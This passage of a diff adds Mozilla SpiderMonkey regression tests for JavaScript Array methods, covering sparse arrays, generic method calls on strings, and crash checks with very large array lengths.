+ // see https://bugzilla.mozilla.org/show_bug.cgi?id=311082
+ expect = 'sparse,';
+ actual = '';
+ sparsestrings.forEach(concat);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach on sparse array');
+}
+
+if ('filter' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:filter
+
+ // test Array.filter
+
+ // filter has 1 required argument
+ expect = 1;
+ actual = Array.prototype.filter.length;
+ reportCompare(expect, actual, 'Array.prototype.filter.length == 1');
+
+ // throw TypeError if no callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.filter();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.filter(undefined) throws TypeError');
+
+ try
+ {
+ // test general filter
+ expect = 'WORLD';
+ actual = strings.filter(isUpperCase).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.filter');
+
+ try
+ {
+ expect = 'WORLD';
+ obj = new ArrayCallback(false);
+ actual = strings.filter(obj.isUpperCase, obj).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.filter object callback 1');
+
+ try
+ {
+ expect = 'hello,Array,WORLD';
+ obj = new ArrayCallback(true);
+ actual = strings.filter(obj.isUpperCase, obj).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.filter object callback 2');
+}
+
+if ('every' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:every
+
+ // test Array.every
+
+ // every has 1 required argument
+
+ expect = 1;
+ actual = Array.prototype.every.length;
+ reportCompare(expect, actual, 'Array.prototype.every.length == 1');
+
+ // throw TypeError if no every callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.every();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.every(undefined) throws TypeError');
+
+ // test general every
+
+ try
+ {
+ expect = true;
+ actual = strings.every(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'strings: every element is a string');
+
+ try
+ {
+ expect = false;
+ actual = mixed.every(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'mixed: every element is a string');
+
+ try
+ {
+ // see https://bugzilla.mozilla.org/show_bug.cgi?id=311082
+ expect = true;
+ actual = sparsestrings.every(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'sparsestrings: every element is a string');
+
+ // pass object method as map callback
+
+ obj = new ArrayCallback(false);
+
+ try
+ {
+ expect = true;
+ actual = strings.every(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'strings: every element is a string, via object callback');
+
+ try
+ {
+ expect = false;
+ actual = mixed.every(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e) ;
+ }
+ reportCompare(expect, actual, 'mixed: every element is a string, via object callback');
+
+ try
+ {
+ // see https://bugzilla.mozilla.org/show_bug.cgi?id=311082
+ expect = true;
+ actual = sparsestrings.every(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'sparsestrings: every element is a string, via object callback');
+
+}
+
+if ('some' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:some
+
+ // test Array.some
+
+ // some has 1 required argument
+
+ expect = 1;
+ actual = Array.prototype.some.length;
+ reportCompare(expect, actual, 'Array.prototype.some.length == 1');
+
+ // throw TypeError if no some callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.some();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.some(undefined) throws TypeError');
+
+ // test general some
+
+ try
+ {
+ expect = true;
+ actual = strings.some(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'strings: some element is a string');
+
+ try
+ {
+ expect = true;
+ actual = mixed.some(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'mixed: some element is a string');
+
+ try
+ {
+ expect = true;
+ actual = sparsestrings.some(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'sparsestrings: some element is a string');
+
+ // pass object method as map callback
+
+ obj = new ArrayCallback(false);
+
+ try
+ {
+ expect = true;
+ actual = strings.some(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'strings: some element is a string, via object callback');
+
+ try
+ {
+ expect = true;
+ actual = mixed.some(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'mixed: some element is a string, via object callback');
+
+ try
+ {
+ expect = true;
+ actual = sparsestrings.some(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'sparsestrings: some element is a string, via object callback');
+
+}
+
+if ('indexOf' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:indexOf
+
+ // test Array.indexOf
+
+ // indexOf has 1 required argument
+
+ expect = 1;
+ actual = Array.prototype.indexOf.length;
+ reportCompare(expect, actual, 'Array.prototype.indexOf.length == 1');
+
+ // test general indexOf
+
+ try
+ {
+ expect = -1;
+ actual = mixed.indexOf('not found');
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'indexOf returns -1 if value not found');
+
+ try
+ {
+ expect = 0;
+ actual = mixed.indexOf(0);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'indexOf matches using strict equality');
+
+ try
+ {
+ expect = 1;
+ actual = mixed.indexOf('0');
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'indexOf matches using strict equality');
+
+ try
+ {
+ expect = 2;
+ actual = mixed.indexOf(0, 1);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'indexOf begins searching at fromIndex');
+}
+
diff --git a/js/src/tests/non262/Array/regress-299644.js b/js/src/tests/non262/Array/regress-299644.js
new file mode 100644
index 0000000000..6a19cf54b9
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-299644.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 299644;
+var summary = 'Arrays with holes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+actual = (new Array(10).concat()).length;
+expect = 10;
+reportCompare(expect, actual, '(new Array(10).concat()).length == 10');
+
+var a = new Array(10);
+actual = true;
+expect = true;
+for (var p in a)
+{
+ actual = false;
+ break;
+}
+reportCompare(expect, actual, 'Array holes are not enumerable');
diff --git a/js/src/tests/non262/Array/regress-300858.js b/js/src/tests/non262/Array/regress-300858.js
new file mode 100644
index 0000000000..2789375571
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-300858.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 300858;
+var summary = 'Do not crash when sorting array with holes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var arry = [];
+arry[6] = 'six';
+arry[8] = 'eight';
+arry[9] = 'nine';
+arry[13] = 'thirteen';
+arry[14] = 'fourteen';
+arry[21] = 'twentyone';
+arry.sort();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-304828.js b/js/src/tests/non262/Array/regress-304828.js
new file mode 100644
index 0000000000..0b15e21d28
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-304828.js
@@ -0,0 +1,256 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 304828;
+var summary = 'Array Generic Methods';
+var actual = '';
+var expect = '';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var value;
+
+// use Array methods on a String
+// join
+value = '123';
+expect = '1,2,3';
+try
+{
+ actual = Array.prototype.join.call(value);
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': join');
+
+// reverse
+value = '123';
+expect = 'TypeError: 0 is read-only';
+try
+{
+ actual = Array.prototype.reverse.call(value) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': reverse');
+
+// sort
+value = 'cba';
+expect = 'TypeError: 0 is read-only';
+try
+{
+ actual = Array.prototype.sort.call(value) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': sort');
+
+// push
+value = 'abc';
+expect = 6;
+try
+{
+ Array.prototype.push.call(value, 'd', 'e', 'f');
+ throw new Error("didn't throw");
+}
+catch(e)
+{
+ reportCompare(true, e instanceof TypeError,
+ "push on a string primitive should throw TypeError");
+}
+reportCompare('abc', value, summary + ': push string primitive');
+
+value = new String("abc");
+expect = 6;
+try
+{
+ Array.prototype.push.call(value, 'd', 'e', 'f');
+ throw new Error("didn't throw");
+}
+catch(e)
+{
+ reportCompare(true, e instanceof TypeError,
+ "push on a String object should throw TypeError");
+}
+reportCompare("d", value[3], summary + ': push String object index 3');
+reportCompare("e", value[4], summary + ': push String object index 4');
+reportCompare("f", value[5], summary + ': push String object index 5');
+
+// pop
+value = 'abc';
+expect = "TypeError: property 2 is non-configurable and can't be deleted";
+try
+{
+ actual = Array.prototype.pop.call(value);
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': pop');
+reportCompare('abc', value, summary + ': pop');
+
+// unshift
+value = 'def';
+expect = 'TypeError: 0 is read-only';
+try
+{
+ actual = Array.prototype.unshift.call(value, 'a', 'b', 'c');
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': unshift');
+reportCompare('def', value, summary + ': unshift');
+
+// shift
+value = 'abc';
+expect = 'TypeError: 0 is read-only';
+try
+{
+ actual = Array.prototype.shift.call(value);
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': shift');
+reportCompare('abc', value, summary + ': shift');
+
+// splice
+value = 'abc';
+expect = 'TypeError: 1 is read-only';
+try
+{
+ actual = Array.prototype.splice.call(value, 1, 1) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': splice');
+
+// concat
+value = 'abc';
+expect = 'abc,d,e,f';
+try
+{
+ actual = Array.prototype.concat.call(value, 'd', 'e', 'f') + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': concat');
+
+// slice
+value = 'abc';
+expect = 'b';
+try
+{
+ actual = Array.prototype.slice.call(value, 1, 2) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': slice');
+
+// indexOf
+value = 'abc';
+expect = 1;
+try
+{
+ actual = Array.prototype.indexOf.call(value, 'b');
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': indexOf');
+
+// lastIndexOf
+value = 'abcabc';
+expect = 4;
+try
+{
+ actual = Array.prototype.lastIndexOf.call(value, 'b');
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': lastIndexOf');
+
+// forEach
+value = 'abc';
+expect = 'ABC';
+actual = '';
+try
+{
+ Array.prototype.forEach.call(value,
+ function (v, index, array)
+ {actual += array[index].toUpperCase();});
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': forEach');
+
+// map
+value = 'abc';
+expect = 'A,B,C';
+try
+{
+ actual = Array.prototype.map.call(value,
+ function (v, index, array)
+ {return v.toUpperCase();}) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': map');
+
+// filter
+value = '1234567890';
+expect = '2,4,6,8,0';
+try
+{
+ actual = Array.prototype.filter.call(value,
+ function (v, index, array)
+ {return array[index] % 2 == 0;}) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': filter');
+
+// every
+value = '1234567890';
+expect = false;
+try
+{
+ actual = Array.prototype.every.call(value,
+ function (v, index, array)
+ {return array[index] % 2 == 0;});
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': every');
+
+
+
diff --git a/js/src/tests/non262/Array/regress-305002.js b/js/src/tests/non262/Array/regress-305002.js
new file mode 100644
index 0000000000..e59668e7f8
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-305002.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 305002;
+var summary = '[].every(f) == true';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var notcalled = true;
+
+function callback()
+{
+ notcalled = false;
+}
+
+expect = true;
+actual = [].every(callback) && notcalled;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-310351.js b/js/src/tests/non262/Array/regress-310351.js
new file mode 100644
index 0000000000..40401c5369
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-310351.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310351;
+var summary = 'Convert host "list" objects to arrays';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var nodeList = [];
+if (typeof document != 'undefined')
+{
+ nodeList = document.getElementsByTagName('*');
+}
+else
+{
+ printStatus('test using dummy array since no document available');
+}
+
+var array = Array.prototype.slice.call(nodeList, 0);
+
+expect = 'Array';
+actual = array.constructor.name;
+
+// nodeList is live and may change
+var saveLength = nodeList.length;
+
+reportCompare(expect, actual, summary + ': constructor test');
+
+expect = saveLength;
+actual = array.length;
+
+reportCompare(expect, actual, summary + ': length test');
+expect = true;
+actual = true;
+
+for (var i = 0; i < saveLength; i++)
+{
+ if (array[i] != nodeList[i])
+ {
+ actual = false;
+ summary += ' Comparison failed: array[' + i + ']=' + array[i] +
+ ', nodeList[' + i + ']=' + nodeList[i];
+ break;
+ }
+}
+
+reportCompare(expect, actual, summary + ': identical elements test');
+
diff --git a/js/src/tests/non262/Array/regress-310425-01.js b/js/src/tests/non262/Array/regress-310425-01.js
new file mode 100644
index 0000000000..a60d6660a4
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-310425-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310425;
+var summary = 'Array.indexOf/lastIndexOf edge cases';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = -1;
+actual = [].lastIndexOf(undefined, -1);
+reportCompare(expect, actual, summary);
+
+expect = -1;
+actual = [].indexOf(undefined, -1);
+reportCompare(expect, actual, summary);
+
+var x = [];
+x[1 << 30] = 1;
+expect = (1 << 30);
+actual = x.lastIndexOf(1);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-310425-02.js b/js/src/tests/non262/Array/regress-310425-02.js
new file mode 100644
index 0000000000..ff9e88ae4e
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-310425-02.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310425;
+var summary = 'Array.indexOf/lastIndexOf edge cases';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = -1;
+actual = Array(1).indexOf(1);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-311515.js b/js/src/tests/non262/Array/regress-311515.js
new file mode 100644
index 0000000000..c6d4928ce7
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-311515.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311515;
+var summary = 'Array.sort should skip holes and undefined during sort';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = [, 1, , 2, undefined];
+
+actual = a.sort().toString();
+expect = '1,2,,,';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-315509-01.js b/js/src/tests/non262/Array/regress-315509-01.js
new file mode 100644
index 0000000000..7d29c5946f
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-315509-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 315509;
+var summary = 'Array.prototype.unshift on Arrays with holes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = [0,1,2,3,4];
+delete a[1];
+
+expect = '0,,2,3,4';
+actual = a.toString();
+
+reportCompare(expect, actual, summary);
+
+a.unshift('a','b');
+
+expect = 'a,b,0,,2,3,4';
+actual = a.toString();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-322135-01.js b/js/src/tests/non262/Array/regress-322135-01.js
new file mode 100644
index 0000000000..2f65724ebc
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-322135-01.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322135;
+var summary = 'Array.prototype.push on Array with length 2^32-1';
+var actual = 'Completed';
+var expect = 'Completed';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This bug passes if it does not cause an out of memory error');
+printStatus('Other issues related to array length are not tested.');
+
+var length = 4294967295;
+var array = new Array(length);
+
+printStatus('before array.length = ' + array.length);
+
+try
+{
+ array.push('Kibo');
+}
+catch(ex)
+{
+ printStatus(ex.name + ': ' + ex.message);
+}
+reportCompare(expect, actual, summary);
+
+//expect = 'Kibo';
+//actual = array[length];
+//reportCompare(expect, actual, summary + ': element appended');
+
+//expect = length;
+//actual = array.length;
+//reportCompare(expect, actual, summary + ': array length unchanged');
diff --git a/js/src/tests/non262/Array/regress-322135-02.js b/js/src/tests/non262/Array/regress-322135-02.js
new file mode 100644
index 0000000000..9bd55bed4a
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-322135-02.js
@@ -0,0 +1,32 @@
+// |reftest| slow -- (bug 1234947)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322135;
+var summary = 'Array.prototype.concat on Array with length 2^32-1';
+var actual = 'Completed';
+var expect = 'Completed';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This bug passes if it does not cause an out of memory error');
+printStatus('Other issues related to array length are not tested.');
+
+var length = 4294967295;
+var array1 = new Array(length);
+var array2 = ['Kibo'];
+var array;
+
+try
+{
+ array = array1.concat(array2);
+}
+catch(ex)
+{
+ printStatus(ex.name + ': ' + ex.message);
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-322135-03.js b/js/src/tests/non262/Array/regress-322135-03.js
new file mode 100644
index 0000000000..bc181ccd07
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-322135-03.js
@@ -0,0 +1,40 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322135;
+var summary = 'Array.prototype.splice on Array with length 2^32-1';
+var actual = 'Completed';
+var expect = 'Completed';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This bug passes if it does not cause an out of memory error');
+printStatus('Other issues related to array length are not tested.');
+
+var length = 4294967295;
+var array = new Array(length);
+var array1 = ['Kibo'];
+var array;
+
+try
+{
+ array.splice(0, 0, array1);
+}
+catch(ex)
+{
+ printStatus(ex.name + ': ' + ex.message);
+}
+reportCompare(expect, actual, summary + ': RangeError');
+
+//expect = 'Kibo';
+//actual = array[0];
+//reportCompare(expect, actual, summary + ': element prepended');
+
+//expect = length;
+//actual = array.length;
+//reportCompare(expect, actual, summary + ': array length unchanged');
diff --git a/js/src/tests/non262/Array/regress-322135-04.js b/js/src/tests/non262/Array/regress-322135-04.js
new file mode 100644
index 0000000000..555d0bb294
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-322135-04.js
@@ -0,0 +1,38 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322135;
+var summary = 'Array.prototype.unshift on Array with length 2^32-1';
+var actual = 'Completed';
+var expect = 'Completed';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This bug passes if it does not cause an out of memory error');
+printStatus('Other issues related to array length are not tested.');
+
+var length = 4294967295;
+var array = new Array(length);
+
+try
+{
+ array.unshift('Kibo');
+}
+catch(ex)
+{
+ printStatus(ex.name + ': ' + ex.message);
+}
+reportCompare(expect, actual, summary);
+
+//expect = 'Kibo';
+//actual = array[0];
+//reportCompare(expect, actual, summary + ': first prepended');
+
+//expect = length;
+//actual = array.length;
+//reportCompare(expect, actual, summary + ': array length unchanged');
diff --git a/js/src/tests/non262/Array/regress-330812.js b/js/src/tests/non262/Array/regress-330812.js
new file mode 100644
index 0000000000..be700714c2
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-330812.js
@@ -0,0 +1,33 @@
+// |reftest| slow-if(xulRuntime.XPCOMABI.match(/x86_64|aarch64|ppc64|ppc64le|s390x|mips64|loongarch64|riscv64/)||Android) -- No test results
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330812;
+var summary = 'Making Array(1<<29).sort() less problematic';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(3);
+
+printStatus('This test passes if the browser does not hang or crash');
+printStatus('This test expects exit code 0 or 3 to indicate out of memory');
+
+try
+{
+ var result = Array(1 << 29).sort();
+}
+catch(ex)
+{
+ // handle changed 1.9 branch behavior. see bug 422348
+ expect = 'InternalError: allocation size overflow';
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-345961.js b/js/src/tests/non262/Array/regress-345961.js
new file mode 100644
index 0000000000..2002301a85
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-345961.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345961;
+var summary = 'Array.prototype.shift should preserve holes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = false;
+
+ var array = new Array(2);
+ array.shift();
+ actual = array.hasOwnProperty(0);
+ reportCompare(expect, actual, summary);
+
+ array=Array(1);
+ array.shift(1);
+ actual = array.hasOwnProperty(1);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-348810.js b/js/src/tests/non262/Array/regress-348810.js
new file mode 100644
index 0000000000..d6cc2efaf8
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-348810.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 348810;
+var summary = 'Do not crash when sorting an array of holes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = Array(1);
+ a.sort();
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-350256-01.js b/js/src/tests/non262/Array/regress-350256-01.js
new file mode 100644
index 0000000000..6f090e1097
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-350256-01.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350256;
+var summary = 'Array.apply maximum arguments';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test(Math.pow(2, 16));
+//-----------------------------------------------------------------------------
+
+function test(length)
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var a = new Array();
+ a[length - 2] = 'length-2';
+ a[length - 1] = 'length-1';
+
+ var b = Array.apply(null, a);
+
+ expect = length + ',length-2,length-1';
+ actual = b.length + "," + b[length - 2] + "," + b[length - 1];
+ reportCompare(expect, actual, summary);
+
+ function f() {
+ return arguments.length + "," + arguments[length - 2] + "," +
+ arguments[length - 1];
+ }
+
+ expect = length + ',length-2,length-1';
+ actual = f.apply(null, a);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-350256-02.js b/js/src/tests/non262/Array/regress-350256-02.js
new file mode 100644
index 0000000000..3281e2f6b7
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-350256-02.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350256;
+var summary = 'Array.apply maximum arguments';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+reportCompare(true, true, "");
+
+//-----------------------------------------------------------------------------
+if (this.getMaxArgs)
